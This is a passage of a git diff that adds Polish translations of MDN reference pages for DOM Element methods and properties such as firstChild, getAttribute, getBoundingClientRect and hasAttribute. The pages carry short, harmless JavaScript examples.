event</a>.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventTarget-dispatchEvent">DOM Level 2 Events: dispatchEvent</a></p> + +<p> </p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/element.dispatchEvent", "es": "es/DOM/element.dispatchEvent", "fr": "fr/DOM/element.dispatchEvent", "ja": "ja/DOM/element.dispatchEvent" } ) }}</p> diff --git a/files/pl/web/api/element/firstchild/index.html b/files/pl/web/api/element/firstchild/index.html new file mode 100644 index 0000000000..20189ce803 --- /dev/null +++ b/files/pl/web/api/element/firstchild/index.html @@ -0,0 +1,101 @@ +--- +title: element.firstChild +slug: Web/API/Element/firstChild +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/firstChild +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><strong>firstChild</strong> jest właściwością tylko do odczytu, która zwraca pierwszego potomka węzła lub wartość null, jeżeli węzeł nie ma potomków. Jeżeli węzeł jest elementem Document, wtedy zwraca pierwszy węzeł z listy swoich bezpośrednich dzieci.</p> + +<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3> + +<pre class="notranslate">var elt = element.firstChild; +</pre> + +<p><var>elt</var> to referencja do pierwszego dziecka elementu, jeśli jest takie - w przeciwnym razie jest to null.</p> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<p>Przeglądarki oparte o Gecko wstawiają do dokumentu węzły tekstowe reprezentujące białe znaki w kodzie. Dlatego pierwsze dziecko elementu może odnosić się do wstawionego węzła tekstowego, a nie elementu określonego przez następny znacznik w źródle strony.</p> + +<pre class="notranslate"><p id="para-01"> + <span>Pierwszy span</span> +</p> + +<script type="text/javascript"> + var p01 = document.getElementById('para-01'); + alert(p01.firstChild.nodeName) +</script> +</pre> + +<p>W powyższym przykładzie alert wyświetli '#text', ponieważ wstawiony jest węzeł tekstowy oznaczający przerwę między otwierającymi znacznikami <p> i <span> . Dowolny biały znak spowoduje wstawienie węzła tekstowego - zarówno pojedyncza spacja, jak i dowolna ilość spacji, nowych linii, znaków tabulacji itd.</p> + +<p>Kolejny węzeł #text jest wstawiany między zamykającymi znacznikami </span> i </p></p> + +<p>Jeśli usunie się białe znaki ze źródła, nie zostaną wstawione węzły tekstowe, a element <code>span</code> stanie się pierwszym dzieckiem paragrafu.</p> + +<pre class="notranslate"><p id="para-01"><span>Pierwszy span</span></p> + +<script type="text/javascript"> + var p01 = document.getElementById('para-01'); + alert(p01.firstChild.nodeName) +</script> +</pre> + +<p>Teraz alert wyświetli 'SPAN'.</p> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Więcej o problemach z węzłami-zjawami znajdziesz w {{ Bug(26179) }} (nie komentuj tego błędu!). Oto jeden ze sposobów na ominięcie problemu:</p> + +<pre class="notranslate"><!-- konwencjonalne formatowanie prowadzi do + zaśmiecenia drzewa dokumentu w Gecko + --> +<div> + <ul> + <li>Pozycja 1</li> + <li>Pozycja 2</li> + <li>Pozycja 3</li> + </ul> +</div> + +<!-- Formatowanie ustawione, by ominąć + problem węzłów-zjaw + --> +<div + ><ul + ><li>Pozycja 1</li + ><li>Pozycja 2</li + ><li>Pozycja 3</li + ></ul +></div> +</pre> + +<h4 id="W.C4.99z.C5.82y_bezdzietne" name="W.C4.99z.C5.82y_bezdzietne">Węzły bezdzietne</h4> + +<p>Własność zwraca <code>null</code>, jeśli bieżący węzeł jest bezdzietny.</p> + +<h4 id="Bia.C5.82e_znaki_i_w.C4.99z.C5.82y_dzieci" name="Bia.C5.82e_znaki_i_w.C4.99z.C5.82y_dzieci">Białe znaki i węzły dzieci</h4> + +<p>Węzły #text mogą być wstawione jako dzieci elementów takich jak TR pomimo że specyfikacja HTML pozwala tylko na TD jako ich dzieci. Z uwagi na XML białe znaki muszą zostać zachowane i gdzieś wstawione.</p> + +<p>Ponieważ węzły #text nie są elementami HTML, białe znaki są tam wstawiane.</p> + +<p><a class="external" href="http://www.w3.org/DOM/faq.html#emptytext">W3C DOM 3 FAQ: Why are some Text nodes empty?</a></p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-firstChild">DOM Level 1 Core: firstChild</a></p> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-169727388">DOM Level 2 Core: firstChild</a></p> + +<div class="noinclude"></div> + +<p>{{ languages( { "en": "en/DOM/element.firstChild", "fr": "fr/DOM/element.firstChild", "ja": "ja/DOM/element.firstChild", "zh-cn": "cn/DOM/element.firstChild" } ) }}</p> diff --git a/files/pl/web/api/element/focus/index.html b/files/pl/web/api/element/focus/index.html new file mode 100644 index 0000000000..7f3eef32fa --- /dev/null +++ b/files/pl/web/api/element/focus/index.html @@ -0,0 +1,23 @@ +--- +title: element.focus +slug: Web/API/Element/focus +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLOrForeignElement/focus +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>focus</b> aktywuje bieżący element (ustawia focus).</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">element.focus() +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Wywołanie metody <b>focus()</b> jest równoważne z zaznaczeniem elementu przez użytkownika.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-32130014">focus </a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.focus", "fr": "fr/DOM/element.focus" } ) }}</p> diff --git a/files/pl/web/api/element/getattribute/index.html b/files/pl/web/api/element/getattribute/index.html new file mode 100644 index 0000000000..da509fb349 --- /dev/null +++ b/files/pl/web/api/element/getattribute/index.html @@ -0,0 +1,43 @@ +--- +title: element.getAttribute +slug: Web/API/Element/getAttribute +translation_of: Web/API/Element/getAttribute +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>getAttribute zwraca wartość atrybutu o podanej nazwie.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><em>atrybut</em> = element.getAttribute(<em>nazwaAtrybutu</em>) +</pre> + +<ul> + <li><code><em>atrybut</em></code> to ciąg zawierający wartość atrybutu o nazwie <code><em>nazwaAtrybutu</em> </code></li> + <li><code><em>nazwaAtrybutu</em></code> jest nazwą atrybutu, który chcesz pobrać</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre>var div1 = document.getElementById("div1"); +var a = div1.getAttribute("align"); +alert(a); // pokaże wartość atrybutu "align" dla elementu o id="div1" +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>W zasadzie wszystkie przeglądarki (Firefox, Internet Explorer, nowsze wersje Opery, Safari, Konqueror oraz iCab) zwracają <code>null</code>, jeśli bieżący element nie posiada atrybutu o podanej nazwie. Specyfikacja DOM mówi, że w takiej sytuacji powinien być zwracany pusty ciąg znaków i niektórze implementacje DOM tak się zachowują. Zatem jeśli jest możliwe, że element nie posiada żądanego atrybutu, powinieneś użyć metody <a href="/DOM/element.hasAttribute">hasAttribute</a> aby sprawdzić istnienie atrybutu zanim wywołasz <code>getAttribute</code>.</p> + +<p><code>nazwaAtrybutu</code> jest zazwyczaj zależna od wielkości liter, jednak nie w przypadku elementów HTML - wtedy wielkość liter nie ma znaczenia.</p> + +<p>{{ DOMAttributeMethods() }}</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-666EE0F9">DOM Level 2 Core: getAttribute</a> (wprowadzono w <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-getAttribute">DOM Level 1 Core</a>)</p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/element.getAttribute", "fr": "fr/DOM/element.getAttribute", "ja": "ja/DOM/element.getAttribute" } ) }}</p> diff --git a/files/pl/web/api/element/getattributenode/index.html b/files/pl/web/api/element/getattributenode/index.html new file mode 100644 index 0000000000..0bdf977063 --- /dev/null +++ b/files/pl/web/api/element/getattributenode/index.html @@ -0,0 +1,36 @@ +--- +title: element.getAttributeNode +slug: Web/API/Element/getAttributeNode +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/getAttributeNode +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca określony atrybut elementu jako węzeł typu <code>Attr</code>.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>węzełAtrybutu</i> = element.getAttributeNode(<i>nazwaAtrybutu</i>) +</pre> +<ul> + <li><code>nazwaAtrybutu</code> jest ciągiem zawierającym nazwę atrybutu</li> + <li><code>węzełAtrybutu</code> jest osobnym węzłem typu <code>Attr</code></li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// html: <div id="top" /> +t = document.getElementById("top"); +iNode = t.getAttributeNode("id"); +// iNode.value = "top" +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Interfejs węzła <code>Attr</code> dziedziczy ze wspólnego interfejsu węzłów <code>Node</code>, ale węzły atrybutów nie stanowią części drzewa dokumentu. Wpólne atrybuty wszystkich węzłów, takie jak <a href="pl/DOM/element.parentNode">parentNode</a>, <a href="pl/DOM/element.previousSibling">previousSibling</a> i <a href="pl/DOM/element.nextSibling">nextSibling</a> mają w przypadku węzłów <code>Attr</code> wartość <code>null</code>.</p> +<p>Do elementu, do którego należy atrybut, możesz odnosić się wykorzystując właściwość <code>ownerElement</code>.</p> +<p>Do pobrania wartości atrybutu używa się raczej metody <a href="pl/DOM/element.getAttribute">getAttribute</a> niż <code>getAttributeNode</code>.</p> +<p>{{ DOMAttributeMethods() }}</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-217A91B8">getAttributeNode </a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.getAttributeNode", "fr": "fr/DOM/element.getAttributeNode", "ja": "ja/DOM/element.getAttributeNode" } ) }}</p> diff --git a/files/pl/web/api/element/getattributenodens/index.html b/files/pl/web/api/element/getattributenodens/index.html new file mode 100644 index 0000000000..b1ec0f2281 --- /dev/null +++ b/files/pl/web/api/element/getattributenodens/index.html @@ -0,0 +1,39 @@ +--- +title: element.getAttributeNodeNS +slug: Web/API/Element/getAttributeNodeNS +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/Element/getAttributeNodeNS +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Zwraca węzeł <code>Attr</code> dla atrybutu z daną przestrzenią nazw i nazwą.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><em>attributeNode</em> = element.getAttributeNodeNS(<em>namespace</em>,<em>nodeName</em>) +</pre> + +<ul> + <li><code>attributeNode</code> jest węzłem określonego atrybutu.</li> + <li><code>namespace</code> jest łańcuchem znaków określającym przestrzeń nazw atrybutu.</li> + <li><code>nodeName</code> jest łańcuchem znaków określającym nazwę atrybutu.</li> +</ul> + +<p><span class="comment">== Przykład == TBD The example needs to be fixed pre> // html: <div id="top" /> t = document.getElementById("top"); specialNode = t.getAttributeNodeNS( "<a class="external" href="http://www.mozilla.org/ns/specialspace" rel="freelink">http://www.mozilla.org/ns/specialspace</a>", "id"); // iNode.value = "full-top" </pre</span></p> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p><code>getAttributeNodeNS</code> is more specific than <a href="pl/DOM/element.getAttributeNode">getAttributeNode</a> in that it allows you to specify attributes that are part of a particular namespace. The corresponding setter method is <a href="pl/DOM/element.setAttributeNodeNS">setAttributeNodeNS</a>.</p> + +<p>{{ DOMAttributeMethods() }}</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElGetAtNodeNS">DOM Level 2 Core: getAttributeNodeNS</a></p> diff --git a/files/pl/web/api/element/getattributens/index.html b/files/pl/web/api/element/getattributens/index.html new file mode 100644 index 0000000000..1ece5594ec --- /dev/null +++ b/files/pl/web/api/element/getattributens/index.html @@ -0,0 +1,47 @@ +--- +title: element.getAttributeNS +slug: Web/API/Element/getAttributeNS +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/getAttributeNS +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>getAttributeNS</code> zwraca ciąg z wartością atrybutu o podanej nazwie i przestrzeni nazw. Jeśli nie ma atrybutu o takiego atrybutu, zwrócone zostanie <code>null</code> bądź <code>""</code> (pust ciąg) - zob. {{ Anch("Uwagi") }}.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>wartośćAtr</i> =<i>element</i>.getAttributeNS(<i>przestrzeńNazw</i>,<i>nazwa</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code> + <i> + wartośćAtr</i> + </code> to ciąg z wartością podanego atrybutu</li> + <li><code> + <i> + przestrzeńNazw</i> + </code> to przestrzeń nazw atrybutu</li> + <li><code> + <i> + nazwa</i> + </code> to nazwa atrybutu.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">var div1 = document.getElementById("div1"); +var a = div1.getAttributeNS("www.mozilla.org/ns/specialspace/", + "special-align"); +alert(a); // wyświetli zawartość special-align elementu div +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p><code>getAttributeNS</code> różni się od <a href="pl/DOM/element.getAttribute">getAttribute</a> tym, że pozwala Ci określić do jakiej przestrzeni nazw należy atrybut, tak jak w powyższym przykładzie, gdzie atrybut należał do fikcyjnej przestrzeni "specialspace".</p> +<p>W zasadzie wszystkie przeglądarki (Firefox, Internet Explorer, nowsze wersje Opery, Safari, Konqueror oraz iCab) zwracają <code>null</code>, jeśli bieżący element nie posiada atrybutu o podanej nazwie. Specyfikacja DOM mówi, że w takiej sytuacji powinien być zwracany pusty ciąg znaków i niektórze implementacje DOM tak się zachowują. Zatem jeśli jest możliwe, że element nie posiada żądanego atrybutu, powinieneś użyć metody <a href="pl/DOM/element.hasAttributeNS">hasAttributeNS</a> aby sprawdzić istnienie atrybutu zanim wywołasz <code>getAttributeNS</code>.</p> +<p>{{ DOMAttributeMethods() }}</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElGetAttrNS">DOM Level 2 Core: getAttributeNS</a></p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.getAttributeNS", "fr": "fr/DOM/element.getAttributeNS", "ja": "ja/DOM/element.getAttributeNS" } ) }}</p> diff --git a/files/pl/web/api/element/getboundingclientrect/index.html b/files/pl/web/api/element/getboundingclientrect/index.html new file mode 100644 index 0000000000..dc189b37af --- /dev/null +++ b/files/pl/web/api/element/getboundingclientrect/index.html @@ -0,0 +1,146 @@ +--- +title: Element.getBoundingClientRect() +slug: Web/API/Element/getBoundingClientRect +tags: + - API + - Metoda(2) + - Pudełko + - Widok CSSOM +translation_of: Web/API/Element/getBoundingClientRect +--- +<div>{{APIRef("DOM")}}</div> + +<p>Metoda <code><strong>Element.getBoundingClientRect()</strong></code> zwraca rozmiar oraz położenie elementu względem okna widoku (viewport).</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><var>rectObject</var> = <var>object</var>.getBoundingClientRect(); +</pre> + +<h3 id="Wynik">Wynik</h3> + +<p>Zwrócony jest obiekt <a href="/en-US/docs/XPCOM_Interface_Reference/nsIDOMClientRect">DOMRect</a>, wyznaczony z tablicy prostokątów zwróconych przez metodę <code><a href="/en-US/docs/DOM/element.getClientRects">getClientRects()</a></code>, zastosowaną do danego elementu, czyli wyznaczony ze wszystkich pudełek CSS związanych z danym elementem.</p> + +<p>Zwrócony obiekt <code>DOMRect</code> posiada następujące (tylko do odczytu) właściwości: <code>left</code>, <code>top</code>, <code>right</code> and <code>bottom,</code> opisujące parametry otaczającego element pudełka w pikselach. Właściwości <code>top</code> and <code>left</code> oznaczają odległość od górnego-lewego rogu aktualnego okna widoku.</p> + +<div class="note"> +<p><strong>Uwaga:</strong> {{Gecko("1.9.1")}} dodało właściwości <code>width</code> and <code>height</code> do obiektu <code>DOMRect</code>.</p> +</div> + +<p>Puste pudełka są całkowicie ignorowane. Jeśli wszystkie elementy pudełka są puste, to zwrócony prostokąt ma wysokość i szerokość równą zero zaś własności <code>top</code> oraz <code>left </code>dotyczą pierwszego pudełka CSS (w porządku kontekstowym) który zawiera dany element<code>.</code></p> + +<p>Efekt przewijania (scrolling) okna widoku (lub dowolnego innego przewijalnego elementu) jest uwzględniany podczas wyznaczania otaczającego pudełka. Zatem, właściwości <code>top</code> oraz <code>left</code> zmieniają się natychmiast po dowolnym przewinięciu (są więc względne w stosunku do widoku, a więc nie są absolutne). W celu wyznaczenia absolutnego położenie elementu należy do właściwości <code>top </code>oraz <code>left </code>dodać aktualne pozycje przesuwania (scrolling position) (można je uzyskać za pomocą <code>window.scrollX</code> and <code>window.scrollY</code>).</p> + +<p>Skrypty wymagające zgodności z różnymi przeglądarkami mogą korzystać z metod <code>window.pageXOffset</code> oraz <code>window.pageYOffset</code> zamiast <code>window.scrollX</code> oraz <code>window.scrollY.</code> Skrypty które nie mają dostępu do <code>window.pageXOffset</code>, <code>window.pageYOffset</code>, <code>window.scrollX</code> ani <code>window.scrollY</code> mogą stosować następujący kod :</p> + +<pre class="brush:js">// Zamiast scrollX +(((t = document.documentElement) || (t = document.body.parentNode)) + && typeof t.ScrollLeft == 'number' ? t : document.body).ScrollLeft +// Zamiast scrollY +(((t = document.documentElement) || (t = document.body.parentNode)) + && typeof t.ScrollTop == 'number' ? t : document.body).ScrollTop +</pre> + +<h2 id="Przykład">Przykład</h2> + +<pre class="brush:js">// rect jest obiektem DOMRect z sześcioma własnościami: left, top, right, bottom, width, height +var rect = obj.getBoundingClientRect(); +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("CSSOM View", "#the-getclientrects()-and-getboundingclientrect()-methods", "Element.getBoundingClientRect()")}}</td> + <td>{{Spec2("CSSOM View")}}</td> + <td>definicja początkowa</td> + </tr> + </tbody> +</table> + +<h3 id="Uwagi">Uwagi</h3> + +<p><code>Metoda getBoundingClientRect()</code> została wprowadzona po raz pierwszy w modelu MS IE DHTML.</p> + +<p>Wynik metody <code>getBoundingClientRect()</code> jest obiektem <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze">zamrożonym</a>.</p> + +<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Właściwość</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Postawowe wsparcie</td> + <td>1.0<sup>[1]</sup></td> + <td>{{CompatGeckoDesktop(1.9)}}</td> + <td>4.0<sup>[2]</sup></td> + <td>{{CompatVersionUnknown}}</td> + <td>4.0</td> + </tr> + <tr> + <td>width/height</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(1.9.1)}}</td> + <td>9</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Właściwość</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Postawowe wsparcie</td> + <td>2.0</td> + <td>1.0</td> + <td>{{CompatGeckoMobile(1.9)}}</td> + <td>6.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>4.0</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] <a href="http://www.w3.org/TR/SVG11/struct.html#UseElement">specyfikacja CSS dla elementu 'use' </a> wskazującego na element 'symbol' wymaga aby domyślne wartości atrybutów width oraz height elementu 'use' ustawione były na 100%. Również, <a href="http://www.w3.org/TR/SVG11/struct.html#SVGElementWidthAttribute">specyfikacja CSS dla atrybutów width oraz height elementu 'svg'</a> wymaga 100% jako wartości domyślne. Google Chrome nie przestrzega tych wymagań dla elementów 'use'. Chrome nie uwzględnia również 'stroke-width'. Zatem metoda <code>getBoundingClientRect()</code> może zwrócić inny prostokąt w Chrome niż w Firefox.</p> + +<p>[2] W IE8, oraz we wcześniejszych wersjach, obiekt <code>DOMRect</code> zwrócony przez <code>getBoundingClientRect()</code> nie zawiera właściwości <code>height</code> ani <code>width</code>. Żadne dodatkowe właściwości (w tym <code>height</code> oraz <code>width</code>) nie mogą być dodane do tych obiektów <code>DOMRect</code>.</p> + +<p>Począwszy od Gecko 12.0 {{geckoRelease("12.0")}}, efekt <a href="/en-US/docs/CSS/Using_CSS_transforms">transformacji CSS</a> jest uwzględniany w algorytmie wyznaczania otaczającego pudełka (bounding rectangle).</p> + +<h2 id="Patrz_również">Patrz również</h2> + +<ul> + <li><a href="https://msdn.microsoft.com/en-us/library/ms536433%28VS.85%29.aspx?f=255&MSPPError=-2147217396">MSDN <code>getBoundingClientRect</code></a></li> + <li><a href="/en-US/docs/DOM/element.getClientRects"><code>getClientRects()</code></a></li> +</ul> diff --git a/files/pl/web/api/element/getelementsbytagnamens/index.html b/files/pl/web/api/element/getelementsbytagnamens/index.html new file mode 100644 index 0000000000..81b82173d2 --- /dev/null +++ b/files/pl/web/api/element/getelementsbytagnamens/index.html @@ -0,0 +1,49 @@ +--- +title: element.getElementsByTagNameNS +slug: Web/API/Element/getElementsByTagNameNS +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/Element/getElementsByTagNameNS +--- +<p>{{ ApiRef("DOM") }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Zwraca listę elementów o danej nazwie znacznika należącej do danej przestrzeni nazw.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><em>elements</em> =<em>element</em>.getElementsByTagNameNS(<em>namespace</em>,<em>localName</em>) +</pre> + +<ul> + <li><code>elements</code> jest <code>NodeList</code> znalezionych elementów w kolejności ich występowania w drzewie.</li> + <li><code>element</code> jest elementem startowym. Zauważ, że tylko potomkowie tegoż elementu zawarci są w przeszukiwaniu, ale nie on sam węzeł.</li> + <li><code>namespace</code> jest przestrzenią nazw URI elementów do przeszukania (zobacz <code><a href="pl/DOM/element.namespaceURI">element.namespaceURI</a></code>).</li> + <li><code>name</code> is either the local name of elements to look for or the special value <code>"*"</code>, which matches all elements (see <code><a href="pl/DOM/element.localName">element.localName</a></code>).</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre>// check the alignment on a number of cells in a table. +var table = document.getElementById("forecast-table"); +var cells = table.getElementsByTagNameNS("www.mozilla.org/ns/specialspace/", "td"); +for (var i = 0; i < cells.length; i++) { + status = cells[i].getAttribute("status"); + if ( status == "open") { + // grab the data + } +} +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p><code>element.getElementsByTagNameNS</code> is similar to <a href="pl/DOM/document.getElementsByTagNameNS">document.getElementsByTagNameNS</a>, except that its search is restricted to those elements which are descendants of the specified element.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-A6C90942">DOM Level 2 Core: Element.getElementsByTagNameNS</a></p> diff --git a/files/pl/web/api/element/hasattribute/index.html b/files/pl/web/api/element/hasattribute/index.html new file mode 100644 index 0000000000..e06d1f1fa2 --- /dev/null +++ b/files/pl/web/api/element/hasattribute/index.html @@ -0,0 +1,34 @@ +--- +title: element.hasAttribute +slug: Web/API/Element/hasAttribute +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/hasAttribute +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>hasAttribute</code> zwraca wartość logiczną oznaczającą, czy element posiada określony atrybut czy nie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>wynik</i> = element.hasAttribute(<i>nazwaAtrybutu</i>) +</pre> +<ul> + <li><code>wynik</code> to rezultat sprawdzenia - <code>true</code> lub <code>false</code></li> + <li><code>nazwaAtrybutu</code> jest ciągiem znaków określającym nazwę atrybutu</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// przed ustawieniem wartości sprawdź, czy atrybut istnieje +d = document.getElementById("div1"); +if(d.hasAttribute("align")){ + d.setAttribute("align", "center"); +} +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>{{ DOMAttributeMethods() }}</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElHasAttr">DOM Level 2 Core: hasAttribute</a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.hasAttribute", "fr": "fr/DOM/element.hasAttribute", "ja": "ja/DOM/element.hasAttribute" } ) }}</p> diff --git a/files/pl/web/api/element/hasattributens/index.html b/files/pl/web/api/element/hasattributens/index.html new file mode 100644 index 0000000000..13cc715dac --- /dev/null +++ b/files/pl/web/api/element/hasattributens/index.html @@ -0,0 +1,39 @@ +--- +title: element.hasAttributeNS +slug: Web/API/Element/hasAttributeNS +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/hasAttributeNS +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>hasAttributeNS</code> zwraca wartość logiczną oznaczającą, czy bieżący element ma określony atrybut.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>wynik</i> =<i>element</i>.hasAttributeNS(<i>przestrzeńNazw</i>,<i>nazwaLokalna</i>) +</pre> +<ul> + <li><code>wynik</code> to wartość logiczna - <code>true</code> lub <code>false</code>.</li> + <li><code>przestrzeńNazw</code> to ciąg znaków określający przestrzeń nazw atrybutu.</li> + <li><code>nazwaLokalna</code> to nazwa atrybutu.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// sprawdza czy jest taki atrybut +// przed nadaniem mu wartości +var d = document.getElementById("div1"); +if (d.hasAttributeNS( + "http://www.mozilla.org/ns/specialspace/", + "special-align")) { + d.setAttribute("align", "center"); +} +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>{{ DOMAttributeMethods() }}</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElHasAttrNS">DOM Level 2 Core: hasAttributeNS</a></p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.hasAttributeNS", "fr": "fr/DOM/element.hasAttributeNS", "ja": "ja/DOM/element.hasAttributeNS" } ) }}</p> diff --git a/files/pl/web/api/element/hasattributes/index.html b/files/pl/web/api/element/hasattributes/index.html new file mode 100644 index 0000000000..2e1c7aea73 --- /dev/null +++ b/files/pl/web/api/element/hasattributes/index.html @@ -0,0 +1,28 @@ +--- +title: element.hasAttributes +slug: Web/API/Element/hasAttributes +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/hasAttributes +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>hasAttributes</b> zwraca wartość logiczną 